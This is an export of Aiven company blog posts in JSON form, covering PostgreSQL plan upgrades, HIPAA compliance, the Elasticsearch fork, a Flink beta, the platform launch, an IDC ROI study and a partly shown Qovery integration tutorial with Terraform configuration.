{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"54xk9NNU2210YD7HOszTgN","_rev":"ejVwHgKe5k9eDWbchuGrwf","_type":"post","_updatedAt":"2024-07-11T08:39:06Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"As part of our ongoing efforts to improve our service according to client feedback, we've increased the disk space for all Aiven for PostgreSQL plans.\n\nDepending on plan type, **we've increased** **disk space anywhere from 12% to 75%**. Check out the table below to see improvements according to plan type:\n\n| Plan                       | Previous storage | Improved storage |\n|----------------------------|------------------|------------------|\n| Startup/business/premium-4 | 50 GB            | **80 GB**        |\n| Startup/business/premium-8 | 100 GB           | **175 GB**       |\n| Startup/business/premium-16| 200 GB           | **350 GB**       |\n| Startup/business/premium-32| 400 GB           | **700 GB**       |\n| Startup/business/premium-64| 800 GB           | **1000 GB**      |\n| Startup/business/premium-120| 1200 GB         | **1400 GB**      |\n| Startup/business/premium-160| 1600 GB         | **1800 GB**      |\n| Startup/business/premium-240| 2400 GB         | **2800 GB**      |\n\nNew Aiven PostgreSQL service plans will come with the increased disk space while existing service plans will receive the increases during their next upgrades.\n\nWe can also provide even greater disk space upon request. If you're interested, feel free to [contact our sales](/contact) for more information!\n\nFor those of you who are running your PostgreSQL services on Amazon Web Services (AWS) and Google Cloud Platform (GCP), the news is even better.\n\n## Aiven supports local SSDs in AWS and GCP\n\nIn fact, **we are the first** DBaaS to offer such support.\n\nSpecifically, we will use PCIe NVMe local SSDs starting from Startup/ Business/Premium-8 plans in GCP and Startup/Business/Premium-16 plans in AWS.\n\nSo why is this important?\n\nOur initial tests have demonstrated **up to a 400% increase in performance** when using local SSDs over network-based SSDs.\n\nTo learn more, view our [benchmarking presentation](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) that we gave at this year's PostgreSQL Conference Europe.\n\nCurrently, only AWS and GCP have support for these but we hope to extend it to other cloud providers in the future when they have the required support.\n\nWe will be following up later on with a longer form blog post that will go into more detail.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2017-11-09T14:59:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is the first DBaaS to support local SSDs. With performance increases of up to 400% over network-based SSDs, it’s a big deal. Read on to get the details.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven's PostgreSQL® plans now feature faster local SSDs"},"slug":{"_type":"slug","current":"/blog/larger-and-faster-aiven-postgresql-plans"},"subtitle":"Aiven is the first DBaaS to support local SSDs. With performance increases of up to 400% over network-based SSDs, it’s a big deal. Read on to get the details.","title":"Aiven for PostgreSQL® plans are now larger and faster with local SSDs"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6pZDGbK38HGLHqqumyqcdF","_rev":"jlE3yG3C5Lxk0cUOqcojVK","_type":"post","_updatedAt":"2024-05-27T12:38:57Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"You might not have known, but __Aiven is HIPAA compliant.__ We actually reached compliance back in December of 2018, but we wanted to get a few use cases under our belt before we announced it.\n\nSo, what does this mean on a practical level? This means that all Aiven services can be used in a HIPAA compliant manner in health care use cases and applications.\n\n\u003e For those of you looking for Aiven services under HIPAA requirements, [contact sales](mailto:sales@aiven.io) for a Business Associate Agreement (BAA).\n\nOur current list of HIPAA-compliant services includes the following:\n\n- Aiven for Apache Kafka\n- Aiven for PostgreSQL\n- Aiven for MySQL\n- Aiven for OpenSearch\n- Aiven for Cassandra\n- Aiven for Caching\n- Aiven for InfluxDB\n- Aiven for Grafana\n\nNow that you know we are compliant, let's take a brief overview of what HIPAA is, why it's important, and what compliance actually means and entails.\n\n## What is HIPAA and why is it important\n\nHIPAA is the Health Insurance Portability and Accountability Act of 1996 passed by the United States legislature. It contains [five titles(or sections)](https://searchhealthit.techtarget.com/definition/HIPAA) that cover everything from ensuring that people are not denied coverage for pre-existing conditions to the protection of their medical information.\n\nWhen discussing _HIPAA compliance_, people are typically referring to Title II of HIPAA. This section establishes regulations for maintaining the [privacy and security of protected health information](https://www.hipaatraining.com/). The privacy regulation pertains to a people, administrative, and contractual standpoint.\n\n\u003e To be compliant, all organizations must be at least comply with the HIPAA Privacy regulation.\n\nMeanwhile, the security regulation pertains to keeping electronic PHI safe from disasters, hackers, and electronic theft. Any organization that handles electronic data must meet both the privacy and security HIPAA regulations to be compliant.\n\n## Wrapping up\n\nHIPAA compliance is important for organizations that use data for health care use cases and applications. But it doesn't stop with you, your service providers must be as well: it is one of several compliance standards that we possess.\n\nNext on our list will be [SOC 2](https://aiven.io/blog/aiven-preparing-for-soc-2-compliance), which we plan on getting certified for in Q3 of 2019. To see our current list of compliance standards, visit our [security and compliance page](https://aiven.io/security-compliance).\n\nTo stay up-to-date with our latest news, join our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/). Not a customer? [Try Aiven services with our free 30 day trial](https://console.aiven.io/signup).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405-png","_type":"reference"}},"publishedAt":"2019-05-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is HIPAA, a US health care standard, compliant. Find out more about what it means in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-aa298af7f9cfb65a1d7edd95e9f064831235206a-752x405-png","_type":"reference"}},"metaTitle":"Aiven is HIPAA compliant – Discover the benefits!"},"slug":{"_type":"slug","current":"/blog/aiven-is-hipaa-compliant"},"subtitle":"Aiven is HIPAA, a US health care standard, compliant. Find out more about what it means in our latest post.","title":"Aiven is HIPAA compliant"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"25GCqENl5povl8r1ZHNXOy","_rev":"neae7oL4y1FotDvvRLIWJ4","_type":"post","_updatedAt":"2024-07-11T12:27:07Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__UPDATE: Aiven has now released [Aiven for OpenSearch](https://aiven.io/blog/announcing-aiven-for-opensearch \"Announcing Aiven for OpenSearch | Aiven blog\"), built on Elasticsearch 7 and offering all the same functionality at the time of the launch.__\n\nOn the 14th of January 2021, Elastic.co [announced](https://www.elastic.co/blog/licensing-change \"Elastic.co announcement\") that they would be changing the licensing of Elasticsearch. The new licence would be a more restrictive combination of  Elastic License and SSPL from the previous Apache v2.0 / Elastic combination. \n\nThis has caused some concern in the community. The use of SSPL licence is highly problematic for many companies, because offering the licenced program as a service to third parties requires the provider to share the entire service source code freely at no charge. As a result, anything that Elasticsearch touches would be open source. This would include even companies who provide Elasticsearch as an internal service within their own company. \n\nOur existing customers are not impacted and can continue using the current versions, as stated in [our initial announcement](https://aiven.io/press/aiven-statement-on-license-changes-for-elasticsearch \"Aiven statement on license changes for Elasticsearch\"). In the medium and long term, however, this is not ideal. We need to think about the future of an open source licensed version of Elasticsearch.\n\n## Truly Open Source ES\n\nImmediately after the original announcement, multiple companies started talking about what to do. On 21st of January AWS announced that they would be forking Elasticsearch and Kibana and forming a community around this new open source project.\n\nThe first step is to remove from the build and release processes of the Elasticsearch project all dependencies on the former Elastic.co based process. After the initial repositories are released without the proprietary code the project will open to accepting contributions from the community. \n\nThe new project will have its own name to distinguish it from the Elasticsearch project. Its governance model is still under discussion; possibly it will live underneath an existing foundation like Apache Software Foundation or CNCF. The stated intent from AWS, among others, is to make sure that the new project will not have an operating model dictated by a single company. Instead, it will be truly open to contributions from the wider community. Aiven stands behind this 100%.\n\n::banner[Learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.]{ctaText=\"Check out our article\" ctaLink=\"https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch\" title=\"Leaving Elasticsearch to keep your business open source?\" theme=\"dark\"}\n\n## Aiven will contribute\n\nAt Aiven, we’re very excited about these new developments. We are, after all, heartfelt advocates of open source, and now Elasticsearch will be truly open source again. Developers will have true freedom to create new features without running into proprietary roadblocks.\n\nAiven will be joining forces with the new fork. The new project will form the basis of what is still currently known as the Aiven for Elasticsearch service.\n\nOf course we will also contribute actively to the project. For one thing, we’re planning to add our Elasticsearch snapshot encryption code to the fork as soon as we can.\n\nWhat is more, we are now hiring new open source developers:\n\n- Elasticsearch open source developer: Come and join us in contributing to the new OS ES fork in [Helsinki](https://apply.workable.com/aiven/j/324DD23DFA/ \"Elasticsearch Open Source Developer - Helsinki\"), [Berlin](https://apply.workable.com/aiven/j/409A0AFA3F/ \"Elasticsearch Open Source Developer - Berlin\") or remotely\n- Kafka Open Source Developer: Join our teams in [Helsinki](https://apply.workable.com/aiven/ \"Kafka Open Source Developer - Helsinki\"), [Berlin](https://apply.workable.com/aiven/ \"Kafka Open Source Developer - Berlin\") or remotely\n- PostgreSQL Open Source Developer: [Berlin, Helsinki or remotely](https://apply.workable.com/aiven/j/6AB799DC8A/ \"Open-Source PostgreSQL Developer\")\n\n\n## Further reading\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-09T00:00:00.000Z","related":[{"_key":"ef423eb94fa1","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"3033dc081587","_ref":"41CJPFxYD9orHdvISHink9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The community rallies to create, support and contribute to the new open source fork. Aiven is part of the movement to keep open source software truly open.","metaImage":{"alt":"","asset":{"_ref":"image-98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844-png","_type":"reference"}},"metaTitle":"Keeping Elasticsearch open | Get informed now | Aiven"},"slug":{"_type":"slug","current":"/blog/keeping-elasticsearch-open"},"subtitle":"The community rallies to create, support and contribute to the new open source fork. Aiven is part of the movement to keep open source software truly open.","title":"Keeping Elasticsearch open"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3iliX8FXlUMcyR7Uo56OId","_rev":"ZLvKaZvfbZlWBlGcpIo81d","_type":"post","_updatedAt":"2024-01-29T15:40:50Z","authors":[],"body":"Apache Flink enables you to easily create real-time streaming analytics and ETL applications by using the familiar SQL language - no coding required. [Aiven now offers Apache Flink as a managed service](https://aiven.io/flink \"Aiven for Apache Flink\"), even if we are still in beta.\n\n## What is Apache Flink?\nApache Flink is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams. It is a perfect companion to Apache Kafka event streaming platform, to perform reliable and scalable real-time filtering, enriching, aggregating, alerting and analysing of the events.\n\nCombining the ease of doing event stream processing with SQL language with the simplicity of Aiven managed services, makes the combination of Aiven for Apache Kafka and Aiven for Apache Flink the easiest event stream processing solution in the market. And it can be further extended with the other Aiven services, e.g. Aiven for PostgreSQL and Aiven for OpenSearch, to build even more complete real-time analytics data pipelines.\n\nLooking at the statistics on the Apache Software Foundation blog post [Apache in 2020 - By The Digits](https://blogs.apache.org/foundation/entry/apache-in-2020-by-the \"Apache in 2020 by the digits | Apache blog\"), in many categories, Apache Flink was one of the most active Apache projects during 2020. This thriving community powering Apache Flink - where also Aiven actively participates - ensures that the technology is future-proof and evolves quickly to support new kinds of use cases.\n## What is it used for?\nApache Flink is widely used in various industries to speed up business decisions. The real-time insights derived from on-the-fly data are essential elements in today's competitive business environments.\n\nIn e-commerce, for example, Apache Flink often powers the personalization of the contextual buyer experience personalization in real-time, like recommendation engines or search result optimization. Other common uses for Apache Flink are real-time monitoring of the goods processes from order to delivery, where it can alert on anomalies before customers are impacted; and to avoid out-of-stock situations in inventory and supply chain processes by offering real-time management capabilities.\n\nAnother example could be the finance industry, where Apache Flink is commonly powering critical business processes such as credit card fraud detection, real-time trading solutions and credit scoring applications. And you can find similar examples from just about any industry. \n## What does “beta” mean in this case?\nIn Aiven terminology, a beta service means that you can get a head start on your road into the world of real-time stream processing.\n\nAiven for Apache Flink beta can be used for development work and for testing production grade workloads, but not for full production use. This is the perfect time to get started. You can develop your real-time streaming applications, provide your feedback as you go, and get precisely the features and capabilities that you need implemented in it. \n\nA word of caution, though: you can use our free Basic level support with the beta service, but higher level support packages are currently not available and our standard SLA terms do not apply.\n## How to get started?\n\nIf you’re new to Aiven, first [create an Aiven account](https://console.aiven.io/signup \"Sign up for Aiven\"). After that:\n\n1. Log in to the Aiven console.\n2. Create an Aiven for Apache Flink service.\n3. Define your data integrations. If you’re a new user, make sure to create a Kafka or PostgreSQL service that you can use as source for Flink jobs.\n4. Write your first stream processing job - with SQL.\n\nEnjoy !\n\nFor more information please visit our [Aiven for Apache Flink beta product page](https://aiven.io/flink) and check the product documentation [here in the Developer Portal](https://aiven.io/docs/products/flink). You can also take a look at the Flink themed blog posts.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-03T00:00:00.000Z","seo":{"metaDescription":"We’re excited to announce that a beta version of our Aiven for Apache Flink service is now publicly available for anyone to try. Find out more!","metaImage":{"alt":"","asset":{"_ref":"image-1da0bf8e3623ae77720d596ada48b39fcdd548c4-1567x844-png","_type":"reference"}},"metaTitle":"Aiven for Apache Flink® beta now available"},"slug":{"_type":"slug","current":"/blog/aiven-for-apache-flink-beta-now-available"},"subtitle":"We’re excited to announce that a beta version of our Aiven for Apache Flink service is now publicly available for anyone to try. Find out more!","title":"Aiven for Apache Flink® beta now available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6PB9JClc5uZnISKDDvXeB","_rev":"VeNKqGNmt13PzvGhqsS0ca","_type":"post","_updatedAt":"2024-01-29T15:38:06Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're proud to announce Aiven, the next generation cloud database service platform.\n\nNow you can use our high performance Aiven for PostgreSQL 9.5 in Google Cloud and Amazon Web Services. Billed by the hour, Aiven takes care of database maintenance tasks for you, freeing your time on applications and business. Launch your databases in minutes and be assured that backups and fault tolerance is taken care for you. Select a suitable plan with monthly charge based only on your actual service usage.\n\nGo to [aiven.io](/) to get started!\n\nYou can use the service through our web console at [console.aiven.io](https://console.aiven.io/). Command line client is available at [github.com/aiven/aiven-client](https://github.com/aiven/aiven-client).\n\nOur REST API document can be found at [aiven.io/api](https://aiven.io/docs/tools/api). The command line client also contains a Python reference client implementation for the REST API.\n\nWe're also exited to pre-announce expansion of our supported cloud providers to include both [DigitalOcean](https://www.digitalocean.com/) and [UpCloud](https://upcloud.com/) during the coming weeks.\n\nAt this time we'd also like to thank our private beta customers who have given us invaluable feedback on how to improve our services.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-12T13:08:00.000Z","seo":{"metaDescription":"Our first offer, Aiven for PostgreSQL is now out. First, we’d like to thank all beta users. Now, we’d like to invite you to find out how to get it.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL now available"},"slug":{"_type":"slug","current":"/blog/aiven-is-now-publicly-available"},"subtitle":"Our first offer, Aiven for PostgreSQL is now out. First, we’d like to thank all beta users. Now, we’d like to invite you to find out how to get it.","title":"Aiven for PostgreSQL now available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"47NwTuWwRg9g7l0ywIXsIR","_rev":"FsdEUX6qPquRWP6V13zdSU","_type":"post","_updatedAt":"2024-03-21T14:07:41Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"At Aiven, we’re frankly pretty proud of how we make life easier for DBAs and application developers. They really appreciate our quick and hassle-free services that allow them to store and process data in the cloud. This feedback is very gratifying… and honestly, not a huge surprise, because that’s what we’re here for. \n\nBut we also keep hearing back from customers that our managed cloud database services bring them massive and tangible business benefits. They talk about increased agility, allowing them to maneuver more quickly in a fast-paced business environment, and efficiency that is directly reflected in their bottom line.\n\nWe could make an educated guess as to how big this effect is, but we just don’t do the guesswork thing. We wanted to put some numbers to it and properly understand just what it is that our services accomplish. \n\nSo we sponsored a study by IDC to look into the question. \n\nThe results make cool reading. According to the IDC White Paper , in terms of business value, our customers have seen __340% three-year ROI__ with a __5-month payback period__; __37% lower cost of operations__ over three years; and an impressive surge in the effectiveness of DBA, infra and security teams. \n\nIDC calculations show that the companies participating in the study, who were enterprise-level companies, were able to realize an average of $184,800 in higher net revenue annually per organization. \n### White paper highlights\nWe’ll let you read the IDC white paper* itself for more in-depth insights, but just to give you a taste, here are some highlights:\n- Aiven is unique in the ability to offer automatic scaling of databases and access to Apache Kafka free from maintenance concerns.\n- Aiven enables companies to move away from maintaining physical assets, to purchasing services on a need-to-have basis.\n- Aiven offers development teams greatly enhanced agility and scalability.\n- With Aiven, equivalent results can be achieved with significantly less time and investment into DBA, IT infrastructure and security.\n- Aiven enhances business agility by making upscaling and downscaling easy.\n- Aiven brings great risk mitigation benefits.\n\nAiven’s unique multi-cloud, open source approach offers more versatility than on-premises solutions or even the proprietary solutions offered by each large cloud provider. Data can live near its users, and if circumstances change, it can easily be moved to different regions and clouds. This hugely increases business agility compared to an in-house or proprietary solution.\n### Automated agility\nAutomated scaling, also mentioned as a differentiating factor, is another great source of agility in operations. Because customers are not stuck with unwanted capacity, they feel comfortable increasing it when needed and reap the benefits. When needs decrease, however temporarily, they can again leverage the benefit of decreasing their spend.\n\n*“With Aiven, we easily scaled up a few days before [a major event]; This would have taken a month [of] preparation otherwise.” -- An EMEA business services company*\n\nCustomers also emphasised the ease of use that Aiven brings to cloud data management. We got kudos on our graphical user interface, the Aiven Console, as well as the general straightforward setup and user experience.\n\n*“[Our DBAs] have more time to work on performance, database engine choice, schema definition and things like that because they no longer have to spend time to install, maintain, upgrade, and change passwords. [...E]verything is done by Aiven.\" -- An EMEA retail company*\n\nBut enough about this boasting, right? Head on over to the [white paper](https://aiven.io/whitepaper/the-business-value-of-aiven-data-cloud-solutions) itself and read the hard data about the business benefits Aiven brings.\n\n--\n\n\u0026ast; Source: IDC White Paper, sponsored by Aiven, The Business Value of Aiven Data Cloud, document #48198621, August 2021.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"IDC wrote a white paper on just how much value Aiven services add for our customers. Read how we did! (Spoiler: we did really well.)","metaImage":{"alt":"","asset":{"_ref":"image-80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's cloud data services yield 340% ROI in 3 years "},"slug":{"_type":"slug","current":"/blog/aiven-cloud-data-services-bring-340-three-year-roi"},"subtitle":"IDC wrote a white paper on just how much value Aiven services add for our customers. Read how we did! (Spoiler: we did really well.)","title":"IDC White paper: Aiven's cloud data services bring 340% three year ROI"}
{"__i18n_lang":"en","_createdAt":"2023-03-28T08:30:10Z","_id":"4390c17f-ed94-4bf3-a4f7-14c73e750746","_rev":"T130WEs22RB6SoEkOC28PM","_type":"post","_updatedAt":"2024-11-19T11:03:27Z","authors":[{"_key":"ec5b06afdfc1","_ref":"6aeff25f-c17b-430e-86cb-61d3274f2b09","_type":"reference"},{"_key":"2a2d13214675","_ref":"af200904-2806-41f9-8278-b1104bb26d0a","_type":"reference"}],"body":"Hey there! It's Romaric from [Qovery](https://www.qovery.com/), and I'm excited to bring you this article that I co-wrote with Sébastien Blanc from Aiven. In this article, we'll show you how Aiven for PostgreSQL® and Qovery work together to streamline your app development and deployment on AWS. But before we dive into the details, let's take a closer look at Aiven and Qovery separately.\n\n## Aiven x Qovery\n\nAiven and Qovery are two powerful tools that, when used together, provide a great solution for modern application development. Aiven offers a simple and fast way to spin up open source data infrastructures, like [PostgreSQL®](https://aiven.io/postgresql), [Redis®](https://aiven.io/caching) and [Apache Kafka®](https://aiven.io/kafka), while Qovery [provides a platform ] for developers to easily deploy, manage and scale their applications.\n\nWhen it comes to developing modern applications, it's important to have a database that is fast, reliable, and easy to manage. This is where Aiven for PostgreSQL® comes in. Aiven provides a cloud-based database service that is fully managed and can be set up and configured in a matter of minutes. With Aiven, you get access to a fully managed PostgreSQL database designed to scale with your needs, all while ensuring high availability, data safety, and data security.\n\nQovery, on the other hand, provides a modern platform for developers to deploy and manage their applications. With Qovery, developers can easily create multiple environments that allow them to test and preview their applications before deployment to production. Qovery also makes it easy to integrate external services, like Aiven for PostgreSQL, into your application.\n\nTogether, Aiven and Qovery provide a powerful solution for modern application development. Developers can easily spin up an Aiven for PostgreSQL instance and integrate it with their Qovery application, all while taking advantage of Qovery's powerful platform for managing and deploying their application. With Aiven and Qovery, developers can focus on building great applications without worrying about the underlying infrastructure.\n\nNow that we've covered the benefits of Aiven and Qovery let's take a closer look at how they work together to make your app development process even more efficient.\n\n## How Aiven and Qovery work together\n\nTo demonstrate the integration between Aiven and Qovery, we'll use a sample application written in Java. The application is a simple to-do list, and we'll deploy it on AWS with Qovery and Aiven for PostgreSQL® as the backend database.\n\nWe'll assume that you already have some familiarity with Qovery and Aiven, but if you need any help getting started, be sure to check out our Qovery and Aiven documentation.\n\nTo get started, you’ll need both an Aiven and a Qovery account. If you don’t have an Aiven account, sign up for a free trial to follow along. Qovery has a great free plan you can sign up for too.\n\nTo integrate Aiven with Qovery, we'll use Qovery's Lifecycle Job feature. A Lifecycle Job is a script that is run at specific points in your environment’s lifecycle, such as before it is deployed or after it is shut down. With Lifecycle Jobs, we can create and configure our Aiven Postgres instance automatically and ensure that it is available for use when our application starts.\n\n![diagram showing that Qovery manages the environment for the app. The app is hosted on AWS.](https://cdn.sanity.io/images/sczeoy4w/production/f4df061c355c6ccde035f3aa79e4b828fa21134a-3840x2160.png)\n\nIn the diagram above, we have three main components: Qovery, Aiven, and our AWS account. It's important to note that Qovery deploys containerized apps on your AWS account rather than on a separate hosting platform (read how to create an AWS account). Meanwhile, Aiven uses its own AWS account to deploy and manage the PostgreSQL instance they provide to you.\n\nIn the Qovery environment, we define two services: our Aiven for PostgreSQL instance with a Terraform script and our to-do app with a Dockerfile. Both of these services come from GitHub repositories, and Qovery can build and execute them in the correct order. The Aiven for PostgreSQL service is deployed first, and then the to-do app service.\n\nIt looks like this from the Qovery web interface: \n\n![screenshot of the qovery web interface](https://cdn.sanity.io/images/sczeoy4w/production/3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753-1976x1280.png)\n\nThis is what our [Terraform script](https://github.com/evoxmusic/aiven-qovery-lifecycle/blob/main/main.tf) looks like:\n\n```yaml\n#main.tf\n\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"~\u003e 3.9.0\"\n    }\n  }\n\n  backend \"s3\" {}\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n\nresource \"aiven_pg\" \"pg_instance\" {\n  project                 = var.aiven_project_name\n  cloud_name              = \"aws-us-east-2\"\n  plan                    = \"startup-4\"\n  # make the service name unique by adding a suffix based on the first digit of the Qovery environment ID\n  service_name            = \"pg-${split(\"-\", var.qovery_environment_id)[0]}\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_pg_database\" \"pg_database\" {\n  database_name = var.aiven_database_name\n  project       = var.aiven_project_name\n  service_name  = aiven_pg.pg_instance.service_name\n} \n\n```\n\nYou can see it’s a vanilla Terraform script with the [Aiven Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) module that it’s quite nice and straightforward to use. \n\nAt this point, you might wonder how to connect our to-do app to Aiven for PostgreSQL. If you are familiar with Terraform, you know that some variables are only known post-execution of our manifest. Qovery supports Terraform output values out of the box. \n\nHere are our [outputs](https://github.com/evoxmusic/aiven-qovery-lifecycle/blob/main/outputs.tf):\n\n```yaml\noutput \"postgres_host\" {\n  description = \"The Aiven PG connection host\"\n  value       = aiven_pg.pg_instance.service_host\n}\n\noutput \"postgres_port\" {\n  description = \"The Aiven PG connection port\"\n  value       = tostring(aiven_pg.pg_instance.service_port)\n}\n\noutput \"postgres_user\" {\n  description = \"The Aiven PG username\"\n  value       = aiven_pg.pg_instance.service_username\n}\n\noutput \"postgres_db_name\" {\n  description = \"The Aiven PG database name\"\n  value       = aiven_pg_database.pg_database.database_name\n}\n\noutput \"postgres_password\" {\n  description = \"The Aiven PG password\"\n  value       = aiven_pg.pg_instance.service_password\n  sensitive   = true\n}\n```\n\nSo Qovery can inject those values as environment variables to our to-do application when known. \n\n![diagram showing the new setup managed by Qovery](https://cdn.sanity.io/images/sczeoy4w/production/2cde657dede080bd448c0faec22ad437d5a7c416-3840x2160.png)\n\nNo magic! It simply works and it’s awesome. \n\n![Screenshot of Qovery's updated UI showing managed services](https://cdn.sanity.io/images/sczeoy4w/production/fc82752e4aa198cf51cb44952657d5ef7e954d85-1874x1212.png)\n\nIf we look at our Aiven web console, we can see that our PostgreSQL database is also running properly.\n\n![A screenshot of Aiven's console with a running PostgreSQL instance](https://cdn.sanity.io/images/sczeoy4w/production/42fcd5de2726379ffc475479043c7ecd477a348b-1872x1210.png)\n\n## Multiple Environments with Aiven and Qovery\n\nWith Qovery, you can easily create multiple environments and avoid the issues that arise with a shared staging environment. In traditional development environments, developers may have to share a single staging environment, which can lead to \"staging starvation.\" If the environment is broken or unavailable, it affects all developers, slowing down the entire development process.\n\n![Diagram showing that if staging is broken all your developers can't access their work](https://cdn.sanity.io/images/sczeoy4w/production/8748d27da079019cf74a8372aa06f7b9eb5447ba-1870x936.png)\n\nQovery solves this problem by providing an efficient way to create multiple on-demand staging environments. Each developer can have their own staging environment, which is a replica of the production environment. This enables developers to test their code in an isolated and safe environment.\n\n![Diagram showing how Qovery spins up a staging environment per-developer which unblocks all the developers on your 